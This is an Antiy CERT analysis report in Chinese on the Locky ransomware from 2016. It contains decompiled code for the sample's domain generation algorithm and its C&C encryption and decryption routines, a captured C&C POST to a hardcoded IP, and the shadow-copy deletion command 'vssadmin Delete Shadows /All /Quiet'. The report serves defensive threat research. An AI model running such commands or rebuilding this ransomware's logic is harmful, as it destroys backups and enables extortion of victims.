首例具有中文提示的比特币勒索软件“locky”

安天安全研究与应急处理中心(Antiy CERT)

报告初稿完成时间：2016 年 02 月 18 日 09 时 26 分

首次公开发布时间：2016 年 02 月 19 日 14 时 04 分

本版本更新时间：2016 年 02 月 19 日 14 时 04 分

目 录

1 概述

安天安全研究与应急处理中心（安天 CERT）发现一款新的勒索软件家族，名为“Locky”，它通过 RSA-2048 和 AES-128 算法对 100 多种文件类型进行加密，同时在每个存在加密文件的目录下释放一个名为_Locky_recover_instructions.txt 的勒索提示文件。经过安天 CERT 研究人员分析发现，这是一类利用垃圾邮件进行传播的勒索软件，是首例具有中文提示的比特币勒索软件。

2 样本分析

2.1 样本标签

病毒名称	Trojan/Win32.Locky.a
原始文件名	ladybi.exe
MD5	FB6CA1CD232151D667F6CD2484FEE8C8
处理器架构	X86-32
文件大小	180 KB (184,320 字节)
文件格式	BinExecute/Microsoft.EXE[:X86]
时间戳	42B63E17->2005-06-20 11:55:03
数字签名	NO
加壳类型	无
编译语言	Microsoft Visual C++ 6.0
VT 首次上传时间	2016-02-16 10:53:39
VT 检测结果	41/55

2.2 样本功能

该勒索软件“Locky”使用绑架用户数据的方法对用户进行敲诈勒索。它通过 RSA-2048 和 AES-128 算法对 100 多种文件类型进行加密，同时在每个存在加密文件的目录下释放一个名为_Locky_recover_instructions.txt 的勒索提示文件。

“Locky”样本的本地行为：复制自身到系统临时目录%Temp%下，并重新命名为 svchost；对系统中的文件进行遍历，判断文件后缀名是否在样本内置的列表中，若存在，则对样本进行加密操作；在多个文件夹中创建提示文件_Locky_recover_instructions.txt；在桌面上创建文件_Locky_recover_instructions.bmp；并将该文件设置为桌面背景，提示用户如何操作可以成功恢复被加密的文件；添加相关注册表键值；删除系统还原快照。

- ✓ **复制自身到%Temp%目录下名为 svchost.exe,并添加启动项。**

✓ 加密上百种文件类型如下：

.m4u .m3u .mid .wma .flv .3g2 .mkv .3gp .mp4 .mov .avi .asf .mpeg .vob .mpg .wmv .fla .swf .wav .mp3 .qcow2 .vdi .vmdk .vmx .gpg .aes .ARC .PAQ .tar.bz2 .tbk .bak .tar .tgz .gz .7z .rar .zip .djv .djvu .svg .bmp .png .gif .raw .cgm .jpeg .jpg .tif .tiff .NEF .psd .cmd .bat .sh .class .jar .java .rb .asp .cs .brd .sch .dch .dip .pl .vbs .vb .js .asm .pas .cpp .php .ldf .mdf .ibd .MYI .MYD .frm .odb .dbf .db .mdb .sql .SQLITEDB .SQLITE3 .asc .lay6 .lay .ms11 .sldm .sldx .ppsm .ppsx .ppam .docb .mml .sxm .otg .odg .uop .potx .potm .pptx .pptm .std .sxd .pot .pps .sti .sxi .otp .odp .wb2 .123 .wks .wk1 .xltx .xltm .xlsx .xlsm .xlsb .slk .xlw .xlt .xlm .xlc .dif .stc .sxc .ots .ods .hwp .602 .dotm .dotx .docm .docx .DOT .3dm .max .3ds .xml .txt .CSV .uot .RTF .pdf .XLS .PPT .stw .sxw .ott .odt .DOC .pem .p12 .csr .crt .key

✓ 对路径和文件名中包含下列字符串的文件不进行加密：

tmp, Application Data, AppData, Program Files (x86), Program Files, temp, thumbs.db, $Recycle.Bin, System Volume Information, Boot, Windows

✓ **“Locky”添加的注册表项**

HKCU\Software\Locky

HKCU\Software\Locky\id

HKCU\Software\Locky\pubkey

HKCU\Software\Locky\paytext

HKCU\Software\Locky\completed

HKCU\Control Panel\Desktop\Wallpaper "%UserProfile%\Desktop_Locky_recover_instructions.bmp"

✓ **删除系统还原快照**

通过调用 vssadmin.exe Delete Shadows /All /Quiet 删除全盘所有卷影副本，使受害系统不能够通过卷影副本进行系统还原。

✓ **网络行为：**

- 向 C&C 服务器发送被感染机器的部分信息。
- 从 C&C 服务器下载 RSA 公钥，为后面的加密做准备。
- 上传将被加密的文件列表。
- 根据系统语言从服务器获取对应的提示信息。

2.3 相关技术

2.3.1 域名生成算法

“Locky”样本会首先使用函数 rdtsc 获取处理器时间，将该值与某变量进行求余运算，通过对该值的判断来决定样本是访问使用算法生成的域名，还是直接访问样本中的硬编码 IP 地址。这样可以使样本具有一定的随机性。

```
if ( v416C5C < 0 )
{
  v19 = __rdtsc();
  v17 = (unsigned int)v19 % v18;
}
v20 = v17 % v18;
v416C5C = v17 + 1;
if ( v17 % v18 >= 6 )
{
  s_IP((int)v4179FC + 28 * (v20 - 6), (int)&v54, 0, 0xFFFFFFFF);
}
else
{
  s_DGA((int)&v49, v20);
  LOBYTE(v69) = 6;
  sub_4053E2(v21);
  sub_405A83(v22, 1);
}
```

图 1 域名生成算法

域名在生成的时候，需要使用一个随机数，该随机数的计算是根据被感染机器的年月日进行的。

```
v23 = 0;
GetSystemTime(&SystemTime);
v3 = __ROR4__(0xB11924E1 * (SystemTime.wYear + 0x1BF5), 5);
v4 = __ROR4__(0xB11924E1 * (v3 + ((unsigned int)SystemTime.wDay >> 1) + 0x27100001), 5);
v5 = __ROR4__(0xB11924E1 * (v4 + SystemTime.wMonth + 0x2709A354), 5);
v6 = __ROL4__(a2 % 6, 21);
v7 = __ROR4__(0xB11924E1 * (v5 + v6 + 0x27100001), 5);
v25 = v7 + 0x27100001;
seed = (v7 + 0x27100001) % 0xBu + 5;
sub_40547C();
v24 = 0;
if ( seed )
{
  do
  {
    v9 = __ROL4__(v25, v2);
    v10 = v20;
    v11 = __ROR4__(-1323752223 * v9, 5);
    v12 = v11 + 655360001;
    v25 = v12;
```

图 2 随机值计算

2.3.2 C&C 服务器

受害主机与服务器是使用 HTTP Post 请求进行交互。受害主机访问 C&C 服务器上的 main.php，参数有以下几个：

参数	含义
id	随机生成的编号
act	C&C 控制命令
affid	会员 ID

lang	计算机所使用的语言
corp	未知
serv	未知
os	操作系统
sp	补丁包
x64	是否为 64 位系统

受害主机所有发出的请求都使用样本中硬编码的 key 进行加密操作，加密后发送到 C&C 服务器。从服务器中接收的数据包同样使用特定的加密方法加密，接收到加密数据后，“Locky”会首先进行解密操作。

加密的数据包部分内容：

```
POST /main.php HTTP/1.1
Host: 195.64.154.14
Content-Length: 101
Connection: Keep-Alive
Cache-Control: no-cache

N....2..!.g...x..g7.!.:l..w.1.....k....~.i)^.:L.z...G7.s...C....f..UX..e...#..m.
V.......B....kSM...J.HTTP/1.1 200 OK
Server: nginx
Date: Thu, 18 Feb 2016 08:33:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 292
Connection: keep-alive
Vary: Accept-Encoding

.a@..)......X.....T.dL...yUh....H....k..wE+.hL...(e)..P.{?
Y...b..c..4.4.Y8.........2w.R......8...._....ZM.h
lTz...:.Vz]'Z9R.M.....<.D+>.&..OI..oR.7DK.....En8...3Byv..........`.....4.....L.
+..W.#.3)5jo.Q......!..<....7xX9_.....eaJ.....s.N.#l.....,.....l.)...N.R....^.>..96
N....CZ...V!1. u...POST /main.php HTTP/1.1
```

图 3 数据包内容

数据包发送时加密的算法：

```
if ( *((_DWORD *)lpOptional + 4) )
{
  do
  {
    v7 = *((_DWORD *)lpOptional + 5);
    if ( v7 < 0x10 )
      v8 = lpOptional;
    else
      v8 = *(_BYTE **)lpOptional;
    v9 = v8[v6];
    if ( v7 < 0x10 )
      v10 = lpOptional;
    else
      v10 = *(_BYTE **)lpOptional;
    v11 = __ROR4__(phProv, 5);
    v12 = __ROL4__(v6, 13);
    v10[v6] = v9 ^ (v11 - v12);
    v13 = __ROL4__(v9, v6 & 0x1F);
    v14 = __ROR4__(phProv, 1);
    v15 = v14 + v13;
    v16 = __ROR4__(v6++, 23);
    phProv = (v16 + 0x53702F68) ^ v15;
  }
  while ( v6 < *((_DWORD *)lpOptional + 4) );
}
```

图 4 加密算法

接收到数据时，样本的解密算法：

```
v24 = 0;
v25 = 0xAFF49754;
while ( v24 < v58 )
{
  v26 = (int *)v56;
  if ( v59 < 0x10 )
    v26 = &v56;
  v27 = __ROL4__(v25, 3);
  v28 = *((_BYTE *)v26 + v24) - v24 - v27;
  v29 = (int *)v56;
  if ( v59 < 0x10 )
    v29 = &v56;
  *((_BYTE *)v29 + v24) = v28;
  v30 = __ROR4__(v28, 11);
  v31 = __ROL4__(v25, 5);
  v25 = v25 + (v24++ ^ v31 ^ v30) - 0x47CB0D2F;
}
```

图 5 解密算法

2.3.3 控制命令

目前所知道的控制命令有四种，分别为：**stats**、**getkey**、**report**、**gettext**。

命令	功能

stats	发送一些基本信息，如：已成功加密的文件个数、加密失败的文件个数、长度。
getkey	从服务器上下载加密时使用的 RSA 的公钥。
report	向服务器发送加密的文件列表。
gettext	获取提示用户如何解密的信息，C&C 服务器会根据回传的计算机所使用的语言来返回对应的语言提示信息，如：回传 zh 会返回汉语、回传 en 会返回英语。

中文的提示信息如下：

图 6 提示内容

3 总结

通过安天 CERT 目前的分析来看，勒索软件“Locky”的功能与之前分析的勒索软件[1]的功能基本一致。勒索软件能给攻击者带来巨大的收益，因其使用比特币进行交易，所以很难追踪；一旦用户感染了勒索软件，只能付费进行解密或是丢弃这些文件。安天 CERT 提示广大用户，即使支付赎金也不一定能保证可以完全恢复被加密的文件。防止数据被加密，更应该注意勒索软件的防御，养成良好的上网使用习惯，不要轻易执行来历不明的文件。

“Locky”和其他勒索软件的目的一致，都是加密用户数据并向用户勒索金钱。与其他勒索软件不同的是，它是首例具有中文提示的比特币勒索软件，这预示着勒索软件作者针对的目标范围逐渐扩大，勒索软件将发展出更多的本地化版本。

安天 CERT 预测，今后中国将受到更多类似的勒索软件攻击。所以，如何防御勒索便成为保卫网络安全的重要任务之一。

附录一：参考资料

[1] 揭开勒索软件的真面目

http://www.antiy.com/response/ransomware.html

附录二：关于安天

安天从反病毒引擎研发团队起步，目前已发展成为拥有四个研发中心、监控预警能力覆盖全国、产品与服务辐射多个国家的先进安全产品供应商。安天历经十五年持续积累，形成了海量安全威胁知识库，并综合应用网络检测、主机防御、未知威胁鉴定、大数据分析、安全可视化等方面经验，推出了应对持续、高级威胁（APT）的先进产品和解决方案。

安天技术实力得到行业管理机构、客户和伙伴的认可，安天已连续四届蝉联国家级安全应急支撑单位资质，亦是 CNNVD 六家一级支撑单位之一。安天移动检测引擎获得全球首个 AV-TEST（2013）年度奖项的中国产品，全球超过十家以上的著名安全厂商都选择安天作为检测能力合作伙伴。

关于反病毒引擎更多信息请访问：http://www.antiy.com（中文）

http://www.antiy.net （英文）

关于安天反 APT 相关产品更多信息请访问：http://www.antiy.cn

附录三：文档更新日志

更新日期	更新版本	更新内容
2016-02-18 09:26	V1.0	撰写
2016-02-19 14:04	V1.1	修改
yyyy-mm-dd 00:00		
yyyy-mm-dd 00:00		